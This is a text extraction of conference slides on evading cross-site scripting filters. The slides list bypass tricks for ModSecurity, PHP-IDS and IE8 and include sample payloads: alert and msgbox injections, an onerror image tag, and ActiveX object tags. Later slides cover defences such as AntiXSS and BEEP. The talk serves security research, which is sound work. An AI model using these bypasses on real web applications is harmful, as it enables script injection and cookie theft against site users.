  • 34. XSS – FILTERS THINKING AND APPROACH • Regular Expression – complexity and functionality checks – SCRIPT elements and Meta character stringency • SCRIPT tags are not filtered on server side considering the functionality • Trusted and untrusted user functionality comes to play. • Client side SCRIPT filters are considered more suitable. – HTML comments and CDATA untrusted content reverted back • Comments are displayed [ --  &#34;&#34 ] • CDATA elemental content – Nested URL JavaScript “unescape” false positives • NoScript filter has shown this behavior in recent versions • Hard to optimize because stealth JavaScript cannot be allowed. 34 Some of the specific filter problems are listed above. There can be other discrepancies too.
  • 35. XSS FILTER – BYPASSING REALM • Starting the flow XSS Attack Base 35 Vector Attack Area
  • 36. XSS FILTER – BYPASSING REALM • Generalization work flow. Testing is all yours !! – Playing with [“”] , [‘’] , [] , • Combination of different quotes. Single , double or none. It works greatly. • Payload should be designed with different matches • Example:- xss_payload = expression(alert(786)) [ can be set with quotes] – Gaming around with different scripting languages • JavaScript and VBScript is best preference for testing • Calling Encode functions such as execScript (VBS), Jscript.Encode etc • Supports Escaping , HEX , Octal , Base 64 etc and conversions • Work with most of the events onLoad . onClick , onMouseOver etc • Example: execScript("MsgBox786","vbscript"); // Interdependency – Code execution with error generating events • Generating errors and execution payload with exceptions • Example:- <imgsrc=“rogue.jpg” onerror=vbs:msgbox+786> 36
  • 37. XSS FILTER – BYPASSING REALM • Generalization work flow. Testing is all yours !! (Continued) – Understanding the diversification of payload base elements • Payload base elements- inadvertent impact on filter bypassing • # | <a href=“#” | <a href=# | <a href=’#’ onload =“xss_payload”> • , 0 | &quot; | ”” | ’ | Escaping the HTML ,NULL[ Effective in its functionality] • &lt;| &gt; | &amp; | &quot; | &apos; | [Best choice] • : | JavaScript: | xss:expression | [ DOM , CSS] • + | ? | * | [ Joining , Decision and All] • < > | [ Closed and Unclosed tag combination ] • ; | [ Playing around JavaScript delimiter and statement closing] • rn and n | [ Carriage return feed and new line , amazing result] • == , or , and [ String manipulation] • (;;) | (;) [ JavaScript function reiteration] 37
  • 38. XSS FILTER – BYPASSING REALM • Generalization work flow. Testing is all yours !! • Understanding of regex and encoding is always useful © Wikipedia | © Business info 38
  • 39. XSS FILTER – BYPASSING REALM • Some bypass checks ( Effective Try. Results Vary) – Modsecurity • Hex encoding with escaping elements • Breaking and joining the attributes lie src  ‘sr’+’c’ [ encode “+”] • http://www.w3schools.com/TAGS/ref_urlencode.asp • Replacing angle brackets with squared ones “()”  “[]” • Try ````` characters for bypassing rule sets • Complex div statements with encoding and technique discussed. – PHP-IDS • Patched regularly , heavy duty some filters and very effective. Need to try hard • Complex parameters with set Timeout functions etc. • Inline JSON injections. Nested payloads inside elements and quoted. – IE8 • Plethora of injections work. Prevents only specific ones. 39
  • 41. [1] PDF HTTP FORM REPURPOSING ATTACKS • Exploiting the online storage of files • Dual behavior – Content disposition HTTP parameter – PDF – JavaScript protocol handler submission through forms – Browsers efficiency to treat rendering content as inline scripts • Basic fact 41 Web applications that allow hosted PDF documents to be opened directly in the browsers through PDF reader plug-ins are vulnerable to HTTP Silent form Repurposing attacks.
  • 42. [1] PDF HTTP FORM REPURPOSING ATTACKS • Truth about ACROJS objects – ACRO JS objects can not access HTML Objects directly – No inheritance characteristic defined for ACRO JS objects – ACRO JS Objects are individualistic in functioning. – ACRO JS does not support DOM – Different from JavaScript in certain aspects – Adobe removed the support of data storage in forms in new versions 42 The security mechanism comes to play as a part of software restriction which has nothing to do with browsers. The security mechanism does not allow the execution with standalone PDF’s but it can be bypassed to some extent when rendered in browser.
  • 43. [1] PDF HTTP FORM REPURPOSING ATTACKS • GMAIL- Google Docs Cookie Stealing Vulnerability – (Patched) (1) 43
  • 44. [2] WM PLAYER ACTIVE X OBJECT – XSS RELOCATION • The attack realm – XSS relocation in windows media player text object – Payload is treated as active JavaScript – Executing windows media player active x object – Windows media player runs in auto start mode – Payload executes in browser and produces reflective XSS 44 <object ID="Player1" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6" height="240" width="320"> <param name = "URL" value ="cookie_ex_wmp.wma"/> <param name = "autostart" value = "true"> <param NAME="CaptioningID" VALUE="knock_out"> </object> <div id="knock_out"></div>
  • 45. [2] WM PLAYER ACTIVE X OBJECT – XSS RELOCATION 45 Setting the Payload XSS through WM Player ActiveX Diversification – Works with Apple QuickTime too
  • 46. [3] XSS VIABILITY THROUGH OFFICE DOCUMENTS • Conducting XSS through inline word hyper linking – Bypassing standard XSS filters through payloads set as links – Weakness in custom designed XSS filters – Inappropriate mechanism and conversion algorithms – Versatile technique to conduct hidden XSS through documents – Persistent in nature primarily. – User interaction is required. • Number of vendor products are susceptible 46 Vendors have been notified and work is in progress to patch the vulnerabilities in enterprise web applications .
  • 47. [3] XSS VIABILITY THROUGH OFFICE DOCUMENTS • Designing a word document – payload driven 47
  • 48. [4] PHP REMOTE FILE INCLUSION – STEALTH XSS • Conducting XSS through file inclusion – Bypassing reflective XSS filters [Internet Explorer 8] – Weakness in code or inappropriate application development – PHP inclusion flaw – Executing payload as raw data. – Hiding the payload from the filters. – Reflective in nature primarily. – No user interaction is required. 48 The usage of this type of attack is quite fruitful in bypassing certain standard XSS reflective filters and stealth payload execution.. Object inclusion is direct in the vulnerable page
  • 49. [4] PHP REMOTE FILE INCLUSION – STEALTH XSS • Successful inclusion of PDF file – raw format 49
  • 50. [5] BROWSER BASED DESIGN BUGS - STRINGENCY • Browsers are always pruned with bugs – Payload execution is supported in one browser and not in other – CSS rendering difference – Event execution works different in different browsers – Bugs and vulnerabilities. • Case study – Google Chrome Random CLSID payload execution – Webkit strange behavior 50 [OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389> [param name=url value=javascript:alert('XSSXSSXSXSXSXSXSXSXSXSXSXSSXSXSXSSXSXXSSS')] [/OBJECT]
  • 51. [5] BROWSER BASED DESIGN BUGS - STRINGENCY • Case study (Continued) – Comparison output with other browsers – Works with or without CLSID but behavior is false 51 Security Concern The differential set of payloads always favor the XSS execution and browser inabilities to follow the standard benchmarks.
  • 52. [6] EXPLOITING INTERDEPENDENCY – BROWSER FRAMES • Architecture of one browser used a frame in other – Google Chrome Frame in IE8 [Havoc] • Dismantling the normal behavior of inherent browser – Working functionality is changed – Example:- XML based XSS is easily possible with this 52 Google Chrome Frame, an open source plug-in that brings HTML5 and other open web technologies to Internet Explorer. Google Chrome Frame is built to help web developers deliver faster, richer applications like Google Wave. More Precisely to support rich HTML 5 and porting open source technologies to internet explorer Security Risk – Attack surface and exploitation is increased in IE8
  • 53. [6] EXPLOITING INTERDEPENDENCY – BROWSER FRAMES • Google Chrome Frame in IE8 [Havoc] 53 Setting the Handlers XSS through XML in CF in IE8
  • 54. [7] XML BASED AUTHORING FLAWS • Case study – SCRIBD vulnerability – Reported and Patched – Scribd fails to implement the filter on payload set in protocol handlers – Links directly injected and converted to XML – Last part compiled and displayed in flash player – Collective problem scenario 54
  • 55. [7] XML BASED AUTHORING FLAWS • Case study – SCRIBD vulnerability (Continued) – Reported and Patched (1) 55
  • 56. THE ANTI- XSS WORLD Solutions and Problems 56
  • 57. ASP/ ASP.NET ANTIXSS LIBRARY • Library functions applied to beat XSS • Based on Principle of Inclusions – a white list approach • White List – defining the allowable characters • Applied security on developer code for secure output – HtmlAttributeEncode(String) – HtmlEncode(String) – JavaScriptEncode(String) – UrlEncode(String) – VisualBasicScriptEncode(String) – XmlAttributeEncode(String) – XmlEncode(String) 57
  • 58. SRE – SECURITY RUNTIME ENGINE - ANTIXSS • Microsoft initiative to protect ASP.NET applications • Configuration based HTTP module runs on IIS/ASP.NET • Its not a WAF (Web Application Firewall) • CLR (Common Language Runtime) Hooking • Server End Protection following configuration rule set. No need to restate the base code of the application • Supports advanced encoding schemes • Encodes specific controls on web page • Implements suppression of encodings for optimization. 58
  • 59. COMPARABLE ARTIFACTS – SRE AND ANTIXSS LIBRARY (AXL) 59 SRE – HTTP Module Driven AXL – Code Driven SRE – Supports Suppression AXL – Suppression is not Supported SRE – Use Page.PreRender event to encode AXL – Use Response.Write event to write to output stream <?xml version="1.0" encoding="UTF-8" standalone="no"?> <Configuration> <ControlEncodingContexts> <ControlEncodingContext FullClassName="System.Web.UI.WebControls.Label" PropertyName="Text" EncodingContext="Html" /> <ControlEncodingContext FullClassName="System.Web.UI.Page" PropertyName="Title" EncodingContext="Html" /> </ControlEncodingContexts> <DoubleEncodingFilter Enabled="True" /> <EncodeDerivedControls Enabled="True" /> <MarkAntiXssOutput Enabled="True" Color="Yellow" /> </Configuration> SRE Configuration File
  • 60. LIMITATIONS AND DRAWBACKS – REAL WORLD • AntiXSS and SRE – appropriate for new development. – SRE – fails to deploy at running web infrastructure. Only IIS specific. Other Servers !! – AntiXSS – recompiling code when a change is directed A hard process to implement. – Functionally driven for only ASP.NET. What about other technologies? – Response.Write vulnerabilities with Anti-XSS library. – Not a generalized model of security. – Optimization against heavy websites is hard. 60
  • 61. MICROSOFT IE8 – SAFE SCRIPTING • Protection mechanism against – JSON injections – Malicious and injection based script 61 Using Window.toStaticHTML () function to make objects static This method does not filter the attributes of the base element. This can cause potentially unwanted redirect requests for link and anchor elements injected into a Web page. <script type="text/javascript"> function sanitize() { var szInput = myDiv.innerHTML; var szStaticHTML = toStaticHTML(szInput); ResultComment = "ntoStaticHTML sanitized the HTML fragment as follows:n" + "Original Content:n" + szInput + "n" + "Static Content:n" + szStaticHTML + "n"; myDiv.innerText = ResultComment; } </script>
  • 62. BEEP – BROWSER ENFORCED EMBEDDED POLICIES • Utilizing browser efficiency to detect XSS attacks. – Concept – pre knowledge of script execution. – Browsers capability for parsing and rendering content. – Website supplying the policy parameters. – Parsing security hooks for execution in dynamic web page. – Policies – white listing , DOM sandbox , custom lists etc. – White listing – hash indexing is followed. 62
  • 63. BEEP – REAL WORLD DEPLOYMENT PROBLEMS • Browsers design need to be changed. Modifications. Vendor decision to enhance code. – Heavy task in installing Security Hook functions Excessive overhead. processing Power. – Extra Execution . Repeated Invocations of hook functions Complexity and optimization for heavy duty websites – Maintaining DOM tree Integrity Untamed parsing changes lead to tree corruption – Dual Change – website and browsers New benchmark , standards not a feasible model 63
  • 64. QUESTIONS / QUERIES ! Understand the intricacies and make a choice. 64 ?
  • 65. REFERENCES AND MORE CONTENT http://www2007.org/papers/paper595.pdf http://www.brettle.com/NeatHtml/docs/Fighting_XSS_with_JavaScript_Judo.html http://secniche.org/papers/noscript_xss_chk_comp_flaw.pdf http://secniche.org/papers/SNS_09_03_PDF_Silent_Form_Re_Purp_Attack.pdf http://secniche.org/papers/SNS_09_01_Evad_Xss_Filter_Msword.pdf http://demo.php-ids.org/ | http://www.modsecurity.org/demo/ http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php http://coseinc.com/en/index.php?rt=download&act=publication&file=design_inaccuracy_inside_ipaper_framework.pdf http://people.mozilla.org/~bsterne/content-security-policy/demo.cgi https://wiki.mozilla.org/Security/CSP http://research.microsoft.com/en-us/um/people/nswamy/papers/beep-www07.pdf http://zeroknock.blogspot.com/2010/01/noscript-19935-xss-injection-checker.html http://zeroknock.blogspot.com/2009/12/google-chrome-webkit-msword-scripting.html http://isis.poly.edu/~csaw_research/Mike%20Ter%20Louw.pdf http://proidea.maszyna.pl/CONFidence09/2/CONFidence2009_gareth_heyes.pdf http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf 65
  • 66. THANKS RSA Conference Organization COSEINC All Security Community for their Efforts. __________________________________________ Aditya K Sood , Security Researcher (VRL) Email: aditya@research.coseinc.com || adi.zerok@gmail.com 66